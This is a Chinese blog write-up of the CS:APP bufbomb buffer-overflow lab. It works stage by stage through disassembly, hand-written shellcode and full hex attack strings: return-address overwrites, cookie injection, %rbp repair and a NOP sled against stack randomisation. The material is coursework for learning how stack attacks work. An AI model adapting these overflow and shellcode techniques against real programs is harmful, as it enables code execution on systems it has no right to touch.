bufbomb关于缓冲区溢出攻击
来源:互联网 发布:最强大脑人工智能小度 编辑:程序博客网 时间:2024/06/05 02:29
smoke
要求:构造攻击字符串作为目标程序输入,造成缓冲区溢出,使getbuf()返回时不返回到test函数,而是转向执行smoke
思路:
理解了getbuf栈的构成:开辟的空间[1][2][3]…[32]+rbp+返回地址
只需要把getbuf返回的地址设置为smoke地址即可(开始的时候因为不理解栈的结构,发懵了很久)
第一步:确定开辟空间大小
00000000004018b9 <getbuf>: 4018b9: 55 push %rbp 4018ba: 48 89 e5 mov %rsp,%rbp //开辟空间大小 4018bd: 48 83 ec 20 sub $0x20,%rsp 4018c1: 48 8d 45 e0 lea -0x20(%rbp),%rax
第二步:确定smoke的地址
00000000004010b6 <smoke>: 4010b6: 55 push %rbp
答案:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00b6 10 40 00
运行结果:
fizz**
要求:这次返回的是fizz函数,但是fizz函数需要传入一个参数,使得val==cookie才能成功
void fizz(int val){ if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0);}
思路:
使用Gets来读取自己修改的cookie的值(跟bang一个套路),自己在这里卡了特别久
修改信息:注意,cookie参数要穿进%edi
4004e6: bf 39 ec 4d 37 mov $0x374dec39,%edi 4004eb: c3 retq 4004ec: 5d pop %rbp
答案:
bf 39 ec 4d 37 c3 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0080 36 68 55 00 00 00 00d8 10 40
运行结果:
bang
要求:构造攻击字串,使目标程序调用bang函数,要将函数中全局变量global_value篡改为cookie值
思路:让getbuf正常的跑,但是返回地址调到Gets,在Gets里边写入我们的攻击代码
第一步:修改全局变量+正确返回bang
需要找到global_value位置,可以打印出一张字符表,使用命令
bufbomb > buf_table //输出bufbomb的符号表到文本文件buf_table
可见,global_value地址是0x6061f0
00000000006061f0 g O .bss 0000000000000004 global_value0000000000000000 F *UND* 0000000000000000 random@@GLIBC_2.2.50000000000402ab0 g F .text 0000000000000065 __libc_csu_init
用cookie的值替换全局变量的值,先分别mov到两个寄存器,再用cookie覆盖
global_value,创建一个.c的文件,再生成.s文件,再.s文件中添加:
4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax4004ed: 48 c7 c1 f0 61 60 00 mov $0x6061f0,%rcx4004f4: 48 89 01 mov %rax,(%rcx)4004f7: c3 retq
再生成.out文件,再用objdump反汇编,产生机器级代码:
//返回值是cookie4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax4004ed: 48 c7 c1 f0 61 60 00 mov $0x6061f0,%rcx4004f4: 48 89 01 mov %rax,(%rcx)4004f7: c3 retq
第二步:找到Gets的输入位置
就是怎样引导getbuf去执行我们的恶意代码 。通过return到Gets,读进我们写的恶意代码
答案:篡改的机器指令+剩余填充+Gets首地址+传入参数
答案:
48 c7 c0 39 ec 4d 37 48 c7 c1 f0 61 60 00 48 89 01 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0080 36 68 55 00 00 00 002e 11 40
运行结果:
boom
000000000040118f <test>: 40118f: 55 push %rbp 401190: 48 89 e5 mov %rsp,%rbp 401193: 48 83 ec 10 sub $0x10,%rsp 401197: b8 00 00 00 00 mov $0x0,%eax 40119c: e8 b3 04 00 00 callq 401654 <uniqueval> 4011a1: 89 45 f8 mov %eax,-0x8(%rbp) 4011a4: b8 00 00 00 00 mov $0x0,%eax 4011a9: e8 0b 07 00 00 callq 4018b9 <getbuf> //调用getbuf // 4011ae: 89 45 fc mov %eax,-0x4(%rbp) 4011b1: b8 00 00 00 00 mov $0x0,%eax 4011b6: e8 99 04 00 00 callq 401654 <uniqueval> 4011bb: 89 c2 mov %eax,%edx 4011bd: 8b 45 f8 mov -0x8(%rbp),%eax 4011c0: 39 c2 cmp %eax,%edx 4011c2: 74 0c je 4011d0 <test+0x41> 4011c4: bf e0 2b 40 00 mov $0x402be0,%edi 4011c9: e8 c2 fb ff ff callq 400d90 <puts@plt> 4011ce: eb 41 jmp 401211 <test+0x82> 4011d0: 8b 55 fc mov -0x4(%rbp),%edx 4011d3: 8b 05 0f 50 20 00 mov 0x20500f(%rip),%eax # 6061e8 <cookie> 4011d9: 39 c2 cmp %eax,%edx 4011db: 75 20 jne 4011fd <test+0x6e> 4011dd: 8b 45 fc mov -0x4(%rbp),%eax 4011e0: 89 c6 mov %eax,%esi 4011e2: bf 09 2c 40 00 mov $0x402c09,%edi 4011e7: b8 00 00 00 00 mov $0x0,%eax 4011ec: e8 0f fc ff ff callq 400e00 <printf@plt> 4011f1: bf 03 00 00 00 mov $0x3,%edi 4011f6: e8 13 08 00 00 callq 401a0e <validate> 4011fb: eb 14 jmp 401211 <test+0x82> 4011fd: 8b 45 fc mov -0x4(%rbp),%eax 401200: 89 c6 mov %eax,%esi 401202: bf 26 2c 40 00 mov $0x402c26,%edi 401207: b8 00 00 00 00 mov $0x0,%eax 40120c: e8 ef fb ff ff callq 400e00 <printf@plt> 401211: 90 nop 401212: c9 leaveq 401213: c3 retq
要求:在test中调用getbuf()函数,再返回一个值,这个返回值需要修改成cookie,并且能够正确的返回test函数。用缺省的代码描述,像下边这样:要完成这段代码里边的内容
test(){getbuf();//调用函数}getbuf(){Gets();//调用Gets读进字符串内容return ;//有返回值,题目要求这个返回值是cookie}
思路:gebuf的这一个栈帧里边到底有什么:数据域+ebp(存储调用getbuf前的栈帧信息)+返回的text的地址
我们想这么设计,我们利用gebuf函数里边开辟的存放数据的空间,用来写一个修改返回信息的过程(修改cookie+顺利返回test)。或者这么想,我们要做两件事情,修改cookie+顺利返回test,getbuf的堆栈里边哪里能允许我们这么做,空间[1][2][3]……[32]里边可以;第二个问题,我们写在[1][2][3]……里边的内容,怎么样才能访问,当然是调用Gets(),怎么样调用Gets():地址返回要写Gets()的输入字符的首地址。
第一步:编写自己要修改的两个信息
创建一个.c的文件,再生成.s文件,再.s文件中添加:
//%rax里边存储的是getbuf返回值,所以要把cookie放在里边mov $0x374dec39,%raxpush $0x4011aeret
再生成.out文件,再用objdump反汇编,产生机器级代码:
4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax 4004ed: 68 ae 11 40 00 pushq $0x4011ae 4004f2: c3 retq
这里就是Gets()访问的内容
第二步:getbuf的%rbp写什么
理解getbuf的%rbp里边到底是什么,它保存的是test的%rbp,做这个操作是为了,出于保护的目的,调用了getbuf以后依旧能够返回test函数。为了不使getbuf里边的内容被破坏,他的%rbp,必须要跟原来没有调用getbuf函数前的是一致的。我们查看test的%rbp
第三步:返回地址,Gets()读取的首个地址
开始开辟了0x20个空间,所以只要用%rbp-0x20就是第一个输入字符的位置(靠近栈顶的位置)
所以答案就是:
需要修改的两个内容的编码+其余不变+修改%rbp+返回地址
答案:
48 c7 c0 39 ec 4d 37 68 ae 11 40 00 c3 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00c0 36 68 55 00 00 00 0080 36 68 55
运行结果:
nitro
0000000000401214 <testn>: 401214: 55 push %rbp 401215: 48 89 e5 mov %rsp,%rbp 401218: 48 83 ec 10 sub $0x10,%rsp 40121c: b8 00 00 00 00 mov $0x0,%eax 401221: e8 2e 04 00 00 callq 401654 <uniqueval> 401226: 89 45 f8 mov %eax,-0x8(%rbp) 401229: b8 00 00 00 00 mov $0x0,%eax 40122e: e8 a1 06 00 00 callq 4018d4 <getbufn>//调用 401233: 89 45 fc mov %eax,-0x4(%rbp) 401236: b8 00 00 00 00 mov $0x0,%eax 40123b: e8 14 04 00 00 callq 401654 <uniqueval>
要求:在上一题基础上,现在的Gets地址是随机变化的,并且要求五次攻击均要成功
思路:
先让getbufn跑一遍自己原来该有的程序,但是再return的位置改成Gets,变成了再输入一次字符串
在开辟的0x200空间里,使用nop一直滑啊滑,滑到Gets的输入首地址
这里我们占用一部分的%rbp的位置来存放攻击的代码,所以我们要恢复%rbp本来应该有的位置
第一步:修改cookie为返回值+返回testn
这里的%rbp修复,需要知道%rbp原来到底是多少,即去查询test里边的%rbp 和%rsp关系。
明确:%rbp=%rsp+需要修改的值
//修改cookie4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax//%rbp修复4004ed: 48 8d 6c 24 10 lea 0x10(%rsp),%rbp//返回test调用后yin该返回的地址4004f2: 68 33 12 40 00 pushq $0x4012334004f7: c3 retq
第二步:确定getbufn的首个输入字符的地址
确定getbufn开辟空间大小
00000000004018d4 <getbufn>: 4018d4: 55 push %rbp 4018d5: 48 89 e5 mov %rsp,%rbp 4018d8: 48 81 ec 00 02 00 00 sub $0x200,%rsp 4018df: 48 8d 85 00 fe ff ff lea -0x200(%rbp),%rax 4018e6: 48 89 c7 mov %rax,%rdi 4018e9: e8 5b fa ff ff callq 401349 <Gets> 4018ee: b8 01 00 00 00 mov $0x1,%eax 4018f3: c9 leaveq 4018f4: c3 retq
开辟0x200大小
查询Gets函数的首地址
这里采取了一个防止缓冲器恶意攻击的办法–栈随机化,但是我们只要知道一个地址,就可以用nop一直滑到Gets的首个输入地址,同时为了保证五次都成功,Gets地址要选取最大的,保证所有地址都能滑到,开始的时候没有注意,一直不通过。
所以答案:502个nop+(10+8)个篡改的机器编码+Gets地址
答案:
90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 9090 9048 c7 c0 39 ec 4d 37 48 8d 6c 24 10 68 33 12 40 00 c3 00 35 68 55 0a
调试过程:
只有一次攻击成功,那么答案应该写五次
同时,开始的时候只把代码复制五遍,但是,发现这样子一次都不能通过了,后来想了一下,这是五次输入,中间应该会有间隔的符号,后来加上了0a(\n),完成任务
- bufbomb关于缓冲区溢出攻击
- 缓冲区溢出攻击试验(bufbomb.c)
- cs app lab3 缓冲区溢出攻击 bufbomb
- 缓冲区溢出实验(bufbomb)
- bufbomb-缓冲区溢出实验
- 【转】缓冲区溢出攻击试验(bufbomb.c)
- 不错的文章--续--CS:APP bufbomb 缓冲区溢出攻击
- 关于对抗缓冲区溢出攻击
- CSAPP实验四----缓冲区溢出实验bufbomb
- 缓冲区溢出攻击实验
- 缓冲区溢出*攻击*
- 缓冲区溢出攻击
- 缓冲区溢出攻击原理
- 缓冲区溢出攻击原理
- 缓冲区溢出攻击
- 缓冲区溢出攻击原理
- ret2reg缓冲区溢出攻击
- ret2reg缓冲区溢出攻击
- 小白Java笔记——下载安装
- dense_rank()颠倒排序的方法
- 利用pandas合并多个excel原来这么简单
- 小波变换教程(四)
- selenium+python+API
- bufbomb关于缓冲区溢出攻击
- SpringMVC 表单标签中 htmlEscape 属性的作用
- map公共函数
- servlet会话
- 结构体,枚举,联合
- js之事件冒泡和事件捕获
- 深入理解Java虚拟机之运行时数据区域
- 学习笔记8
- 小波变换教程(五)